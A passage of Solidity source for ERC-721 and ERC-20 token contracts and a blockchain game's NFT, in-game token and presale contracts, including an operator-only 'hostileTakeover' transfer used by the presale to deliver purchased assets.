uint256 _tokenId,
bytes _data
)
public;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract CryptoTakeoversNFT is ERC721Token("CryptoTakeoversNFT",""), Operatable {
event LogGameOperatorChanged(address indexed from, address indexed to);
address public gameOperator;
modifier onlyGameOperator() {
assert(gameOperator != address(0));
require(msg.sender == gameOperator);
_;
}
constructor (address _owner, address _operator) Operatable(_owner, _operator) public {
}
function mint(uint256 _tokenId, string _tokenURI) public onlyGameOperator {
super._mint(operator, _tokenId);
super._setTokenURI(_tokenId, _tokenURI);
}
function hostileTakeover(address _to, uint256 _tokenId) public onlyGameOperator {
address tokenOwner = super.ownerOf(_tokenId);
operatorApprovals[tokenOwner][gameOperator] = true;
super.safeTransferFrom(tokenOwner, _to, _tokenId);
}
function setGameOperator(address _gameOperator) public onlyOperator {
emit LogGameOperatorChanged(gameOperator, _gameOperator);
gameOperator = _gameOperator;
}
function burn(uint256 _tokenId) public onlyGameOperator {
super._burn(operator, _tokenId);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/// @title CryptoTakeovers In-Game Token.
/// @dev The token used in the game to participate in NFT airdrop raffles.
/// @author Ido Amram <ido@cryptotakeovers.com>, Elad Mallel <elad@cryptotakeovers.com>
contract CryptoTakeoversToken is MintableToken, Operatable {
/*
* Events
*/
event LogGameOperatorChanged(address indexed from, address indexed to);
event LogShouldBlockPublicTradeSet(bool value, address indexed owner);
/*
* Storage
*/
bool public shouldBlockPublicTrade;
address public gameOperator;
/*
* Modifiers
*/
modifier hasMintPermission() {
require(msg.sender == operator || (gameOperator != address(0) && msg.sender == gameOperator));
_;
}
modifier hasTradePermission(address _from) {
require(_from == operator || !shouldBlockPublicTrade);
_;
}
/*
* Public (unauthorized) functions
*/
/// @dev CryptoTakeoversToken constructor.
/// @param _owner the address of the owner to set for this contract
/// @param _operator the address ofh the operator to set for this contract
constructor (address _owner, address _operator) Operatable(_owner, _operator) public {
shouldBlockPublicTrade = true;
}
/*
* Operator (authorized) functions
*/
/// @dev Allows an authorized set of accounts to transfer tokens.
/// @param _to the account to transfer tokens to
/// @param _value the amount of tokens to transfer
/// @return true if the transfer succeeded, and false otherwise
function transfer(address _to, uint256 _value) public hasTradePermission(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Allows an authorized set of accounts to transfer tokens.
/// @param _from the account from which to transfer tokens
/// @param _to the account to transfer tokens to
/// @param _value the amount of tokens to transfer
/// @return true if the transfer succeeded, and false otherwise
function transferFrom(address _from, address _to, uint256 _value) public hasTradePermission(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// @dev Allows the operator to set the address of the game operator, which should be the pre-sale contract or the game contract.
/// @param _gameOperator the address of the game operator
function setGameOperator(address _gameOperator) public onlyOperator {
require(_gameOperator != address(0));
emit LogGameOperatorChanged(gameOperator, _gameOperator);
gameOperator = _gameOperator;
}
/*
* Owner (authorized) functions
*/
/// @dev Allows the owner to enable or restrict open trade of tokens.
/// @param _shouldBlockPublicTrade true if trade should be restricted, and false to open trade
function setShouldBlockPublicTrade(bool _shouldBlockPublicTrade) public onlyOwner {
shouldBlockPublicTrade = _shouldBlockPublicTrade;
emit LogShouldBlockPublicTradeSet(_shouldBlockPublicTrade, owner);
}
}
/// @title CryptoTakeovers PreSale.
/// @dev Manages the sale of in-game assets (cities and countries) and tokens.
/// @author Ido Amram <ido@cryptotakeovers.com>, Elad Mallel <elad@cryptotakeovers.com>
contract CryptoTakeoversPresale is Destructible, Pausable, Operatable {
/*
* Events
*/
event LogNFTBought(uint256 indexed tokenId, address indexed buyer, uint256 value);
event LogTokensBought(address indexed buyer, uint256 amount, uint256 value);
event LogNFTGifted(address indexed to, uint256 indexed tokenId, uint256 price, address indexed operator);
event LogTokensGifted(address indexed to, uint256 amount, address indexed operator);
event LogNFTBurned(uint256 indexed tokenId, address indexed operator);
event LogTokenPricesSet(
uint256[] previousThresholds,
uint256[] previousPrices,
uint256[] newThresholds,
uint256[] newPrices,
address indexed operator);
event LogNFTMintedNotForSale(uint256 indexed tokenId, address indexed operator);
event LogNFTMintedForSale(uint256 indexed tokenId, uint256 tokenPrice, address indexed operator);
event LogNFTSetNotForSale(uint256 indexed tokenId, address indexed operator);
event LogNFTSetForSale(uint256 indexed tokenId, uint256 tokenPrice, address indexed operator);
event LogDiscountSet(uint256 indexed tokenId, uint256 discountPrice, address indexed operator);
event LogDiscountUpdated(uint256 indexed tokenId, uint256 discountPrice, address indexed operator);
event LogDiscountRemoved(uint256 indexed tokenId, address indexed operator);
event LogDiscountsReset(uint256 count, address indexed operator);
event LogStartAndEndTimeSet(uint256 startTime, uint256 endTime, address indexed operator);
event LogStartTimeSet(uint256 startTime, address indexed operator);
event LogEndTimeSet(uint256 endTime, address indexed operator);
event LogTokensContractSet(address indexed previousAddress, address indexed newAddress, address indexed owner);
event LogItemsContractSet(address indexed previousAddress, address indexed newAddress, address indexed owner);
event LogWithdrawToChanged(address indexed previousAddress, address indexed newAddress, address indexed owner);
event LogWithdraw(address indexed withdrawTo, uint256 value, address indexed owner);
/*
* Storage
*/
using SafeMath for uint256;
CryptoTakeoversNFT public items;
CryptoTakeoversToken public tokens;
uint256 public startTime;
uint256 public endTime;
address public withdrawTo;
mapping (uint256 => uint256) tokenPrices;
uint256[] public itemsForSale;
mapping (uint256 => uint256) itemsForSaleIndex;
mapping (uint256 => uint256) discountedItemPrices;
uint256[] public discountedItems;
mapping (uint256 => uint256) discountedItemsIndex;
uint256[] public tokenDiscountThresholds;
uint256[] public tokenDiscountedPrices;
/*
* Modifiers
*/
modifier onlyDuringPresale() {
require(startTime != 0 && endTime != 0);
require(now >= startTime);
require(now <= endTime);
_;
}
/*
* Public (unauthorized) functions
*/
/// @dev CryptoTakeoversPresale constructor.
/// @param _owner the account with owner permissions
/// @param _operator the admin of the pre-sale, who can start and stop the sale, and mint items for sale
/// @param _cryptoTakeoversNFTAddress the address of the ERC721 game tokens, representing cities and countries
/// @param _cryptoTakeoversTokenAddress the address of the in-game fungible tokens, which grant their owners
/// the chance to win NFT assets in airdrops the team will perform periodically
constructor (
address _owner,
address _operator,
address _cryptoTakeoversNFTAddress,
address _cryptoTakeoversTokenAddress
)
Operatable(_owner, _operator)
public
{
items = CryptoTakeoversNFT(_cryptoTakeoversNFTAddress);
tokens = CryptoTakeoversToken(_cryptoTakeoversTokenAddress);
withdrawTo = owner;
}
/// @dev Allows anyone to buy an asset during the pre-sale.
/// @param _tokenId the ID of the asset to buy
function buyNFT(uint256 _tokenId) public payable onlyDuringPresale whenNotPaused {
require(msg.value == _getItemPrice(_tokenId), "value sent must equal the price");
_setItemNotForSale(_tokenId);
items.hostileTakeover(msg.sender, _tokenId);
emit LogNFTBought(_tokenId, msg.sender, msg.value);
}
/// @dev Allows anyone to buy tokens during the pre-sale.
/// @param _amount the amount of tokens to buy
function buyTokens(uint256 _amount) public payable onlyDuringPresale whenNotPaused {
require(tokenDiscountedPrices.length > 0, "prices should be set before selling tokens");
uint256 priceToUse = tokenDiscountedPrices[0];
for (uint256 index = 1; index < tokenDiscountedPrices.length; index++) {
if (_amount >= tokenDiscountThresholds[index]) {
priceToUse = tokenDiscountedPrices[index];
}
}
